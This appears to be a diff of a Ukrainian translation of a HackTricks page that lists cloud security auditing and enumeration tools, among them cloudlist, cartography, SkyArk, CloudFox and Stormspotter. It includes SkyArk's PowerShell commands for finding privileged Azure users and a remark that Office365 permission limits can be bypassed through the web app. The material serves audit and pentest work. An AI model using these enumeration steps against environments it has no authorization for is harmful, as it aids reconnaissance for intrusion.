[https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -Потребує python2.7 і виглядає непідтримуваним. +Потребує python2.7 і не підтримується. ### Nessus -Nessus має скан _**Audit Cloud Infrastructure**_, який підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Для отримання **Client Id** потрібні додаткові налаштування в **Azure**. +Nessus має скан _**Audit Cloud Infrastructure**_, який підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Для отримання **Client Id** у **Azure** потрібні додаткові налаштування. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist — це **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. +Cloudlist — це **multi-cloud інструмент для отримання Assets** (Hostnames, IP Addresses) з хмарних провайдерів. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +265,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography — це інструмент на Python, який консолідує інфраструктурні активи та зв’язки між ними у зручному графовому поданні на основі Neo4j database. +Cartography — це інструмент на Python, який консолідує інфраструктурні активи та зв'язки між ними в інтуїтивному графовому поданні на базі Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase збирає активи та зв'язки зі служб і систем, включаючи хмарну інфраструктуру, SaaS applications, контролі безпеки та інше, у зручне графове представлення, яке підтримується базою даних Neo4j. +Starbase збирає активи та зв'язки з сервісів і систем, включно з cloud infrastructure, SaaS applications, security controls та ін., у зручне графове подання на базі Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +361,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Виявляє найбільш привілейованих користувачів у просканованому середовищі AWS або Azure, включно з AWS Shadow Admins. Використовує powershell. +Виявляє найбільш привілейованих користувачів у просканованому середовищі AWS або Azure, включаючи AWS Shadow Admins. Використовує powershell. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,13 +372,13 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Інструмент для пошуку інфраструктури компанії (цілі), файлів та застосунків у провідних хмарних провайдерів (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Інструмент для пошуку інфраструктури компанії (target), файлів та додатків у провідних хмарних провайдерів (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox — інструмент для виявлення exploitable attack paths у хмарній інфраструктурі (наразі підтримуються лише AWS & Azure, підтримка GCP у планах). -- Це інструмент для enumeration, який призначений доповнювати ручне pentesting. -- Він не створює і не змінює жодних даних у хмарному середовищі. +- CloudFox — інструмент для пошуку exploitable attack paths у хмарній інфраструктурі (поки що підтримуються тільки AWS & Azure, GCP незабаром). +- Це enumeration tool, призначений доповнювати manual pentesting. +- Він не створює і не змінює жодні дані в cloud environment. ### More lists of cloud security tools @@ -412,11 +412,11 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює «attack graph» ресурсів в підписці Azure. Він дозволяє red teams і pentesters візуалізувати attack surface та можливості для pivot у межах tenant і значно допомагає вашим захисникам швидко орієнтуватися та розставляти пріоритети в роботі з incident response. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює “attack graph” ресурсів в Azure subscription. Воно дозволяє red teams і pentesters візуалізувати attack surface і pivot opportunities в межах tenant, а також посилює ваших defenders, дозволяючи їм швидко зорієнтуватися та пріоритезувати incident response роботу. ### Office365 -Потрібен **Global Admin** або принаймні **Global Admin Reader** (зауважте, що **Global Admin Reader** трохи обмежений). Однак ці обмеження проявляються в деяких PS-модулях і можуть бути обійдені шляхом доступу до функцій **через вебзастосунок**. +Для цього потрібен **Global Admin** або принаймні **Global Admin Reader** (зверніть увагу, що Global Admin Reader дещо обмежений). Однак ці обмеження з'являються в деяких PS modules і їх можна обійти, отримуючи доступ до функцій **via the web application**. {{#include ../banners/hacktricks-training.md}}